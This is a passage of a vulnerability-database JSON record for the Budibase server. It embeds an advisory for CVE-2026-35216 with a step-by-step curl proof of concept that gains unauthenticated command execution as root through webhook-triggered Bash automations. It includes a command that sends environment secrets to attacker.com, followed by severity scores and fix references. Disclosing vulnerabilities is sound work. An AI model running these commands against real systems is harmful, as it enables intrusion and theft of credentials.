\"automation\": { \"_id\": \"au_b713759f83f64efda067e17b65545fce\", ... }\n\nAUTO_ID=\"au_b713759f83f64efda067e17b65545fce\"\n```\n\n**Step 4 — Enable the automation** (new automations start as disabled):\n\n```bash\n# Fetch full automation JSON\nAUTO=$(curl -sb cookies.txt \"http://TARGET:10000/api/automations/$AUTO_ID\" \\\n -H \"x-budibase-app-id: $APP_ID\")\n\n# Set disabled: false and PUT it back\nUPDATED=$(echo \"$AUTO\" | python3 -c \"\nimport sys, json\nd = json.load(sys.stdin)\nd['disabled'] = False\nprint(json.dumps(d))\n\")\n\ncurl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \\\n -H \"Content-Type: application/json\" \\\n -H \"x-budibase-app-id: $APP_ID\" \\\n -d \"$UPDATED\"\n```\n\n**Step 5 — Create webhook linked to the automation:**\n\n```bash\ncurl -b cookies.txt -X PUT \"http://TARGET:10000/api/webhooks/\" \\\n -H \"Content-Type: application/json\" \\\n -H \"x-budibase-app-id: $APP_ID\" \\\n -d \"{\n \\\"name\\\": \\\"MyWebhook\\\",\n \\\"action\\\": {\n \\\"type\\\": \\\"automation\\\",\n \\\"target\\\": \\\"$AUTO_ID\\\"\n }\n }\"\n\n# Note the webhook _id from response, e.g.:\n# \"webhook\": { \"_id\": \"wh_f811a038ed024da78b44619353d4af2b\", ... }\n\nWEBHOOK_ID=\"wh_f811a038ed024da78b44619353d4af2b\"\n```\n\n**Step 6 — Publish the app to production:**\n\n```bash\ncurl -b cookies.txt -X POST \"http://TARGET:10000/api/applications/$APP_ID/publish\" \\\n -H \"x-budibase-app-id: $APP_ID\"\n\n# Expected: {\"status\":\"SUCCESS\",\"appUrl\":\"/myapp\"}\n\n# Production App ID = strip \"dev_\" from dev ID:\n# app_dev_c999265f... → app_c999265f...\nPROD_APP_ID=\"app_c999265f6f984e3aa986788723984cd5\"\n```\n\n---\n\n#### PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED)\n\nThe attacker only needs the production `app_id` and `webhook_id`.\nThese can be obtained via:\n- Enumeration of the Budibase web UI (app URLs are semi-public)\n- Leaked configuration files or environment variables\n- Insider knowledge or social engineering\n\n**Step 7 — Basic RCE — whoami/id:**\n\n```bash\nPROD_APP_ID=\"app_c999265f6f984e3aa986788723984cd5\"\nWEBHOOK_ID=\"wh_f811a038ed024da78b44619353d4af2b\"\nTARGET=\"http://TARGET:10000\"\n\n# NO cookies. NO API key. NO auth headers. Pure unauthenticated request.\ncurl -X POST \"$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"cmd\":\"id\"}'\n\n# HTTP Response (immediate):\n# {\"message\":\"Webhook trigger fired successfully\"}\n\n# Command executes asynchronously inside container as root.\n# Output confirmed via container inspection or exfiltration.\n```\n\n**Step 8 — Exfiltrate all secrets:**\n\n```bash\ncurl -X POST \"$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"cmd\":\"env | grep -E \\\"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\\\" | curl -s -X POST https://attacker.com/collect -d @-\"}'\n```\n\nConfirmed secrets leaked (no auth):\n```\nJWT_SECRET=testsecret\nAPI_ENCRYPTION_KEY=testsecret\nCOUCH_DB_URL=http://budibase:budibase@couchdb-service:5984\nREDIS_PASSWORD=budibase\nREDIS_URL=redis-service:6379\nMINIO_ACCESS_KEY=budibase\nMINIO_SECRET_KEY=budibase\nINTERNAL_API_KEY=budibase\nLITELLM_MASTER_KEY=budibase\n```\n\n### Impact\n- **Who is affected:** All self-hosted Budibase deployments (`SELF_HOSTED=1`) where\n any admin has created an automation with a Bash step that uses webhook trigger field\n templates. This is a standard, documented workflow.\n\n- **What can an attacker do:**\n - Execute arbitrary OS commands as `root` inside the application container\n - Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys\n - Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet\n - Establish reverse shells and persistent access\n - Read/write/delete all application data via CouchDB access\n - Forge JWT tokens using the leaked `JWT_SECRET` to impersonate any user\n - Potentially escape the container if `--privileged` or volume mounts are used\n\n- **Authentication required:** **None** — completely unauthenticated\n- **User interaction required:** **None**\n- **Network access required:** Only access to port 10000 (the Budibase proxy port)\n\n\n\nDiscovered By:\nAbdulrahman Albatel\nAbdullah Alrasheed", "references": [ { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-35216", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.0031", "scoring_system": "epss", "scoring_elements": "0.54512", "published_at": "2026-06-08T12:55:00Z" }, { "value": "0.0031", "scoring_system": "epss", "scoring_elements": "0.54533", "published_at": "2026-06-07T12:55:00Z" }, { "value": "0.0031", "scoring_system": "epss", "scoring_elements": "0.54543", "published_at": "2026-06-06T12:55:00Z" }, { "value": "0.0031", "scoring_system": "epss", "scoring_elements": "0.54534", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-35216" }, { "reference_url": "https://github.com/Budibase/budibase", "reference_id": "", "reference_type": "", "scores": [ { "value": "9.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/Budibase/budibase" }, { "reference_url": "https://github.com/Budibase/budibase/commit/f0c731b409a96e401445a6a6030d2994ff4ac256", "reference_id": "", "reference_type": "", "scores": [ { "value": "9.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H" }, { "value": "9.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track*", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-03T16:46:19Z/" } ], "url": "https://github.com/Budibase/budibase/commit/f0c731b409a96e401445a6a6030d2994ff4ac256" }, { "reference_url": "https://github.com/Budibase/budibase/pull/18238", "reference_id": "", "reference_type": "", "scores": [ { "value": "9.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H" }, { "value": "9.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track*", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-03T16:46:19Z/" } ], "url": "https://github.com/Budibase/budibase/pull/18238" }, { "reference_url": "https://github.com/Budibase/budibase/releases/tag/3.33.4", "reference_id": "", "reference_type": "", "scores": [ { "value": "9.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H" }, { "value": "9.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track*", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-03T16:46:19Z/" } ], "url": "https://github.com/Budibase/budibase/releases/tag/3.33.4" }, { "reference_url": "https://github.com/Budibase/budibase/security/advisories/GHSA-fcm4-4pj2-m5hf", "reference_id": "", "reference_type": "", "scores": [ { "value": "9.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H" }, { "value": "9.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H" }, { "value": "CRITICAL", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track*", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-03T16:46:19Z/" } ], "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-fcm4-4pj2-m5hf" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35216", "reference_id": "", "reference_type": "", "scores": [ { "value": "9.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35216" }, { "reference_url": "https://github.com/advisories/GHSA-fcm4-4pj2-m5hf", "reference_id": "GHSA-fcm4-4pj2-m5hf", "reference_type": "", "scores": [ { "value": "CRITICAL", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-fcm4-4pj2-m5hf" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/109914?format=api", "purl": "pkg:npm/%40budibase/server@3.33.4", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/%2540budibase/server@3.33.4" } ], "aliases": [ "CVE-2026-35216", "GHSA-fcm4-4pj2-m5hf" ], "risk_score": 4.5, "exploitability": "0.5", "weighted_severity": "9.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-hx4u-s7t2-quga" } ], "fixing_vulnerabilities": [], "risk_score": "4.5", "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/%2540budibase/server@3.18.10" }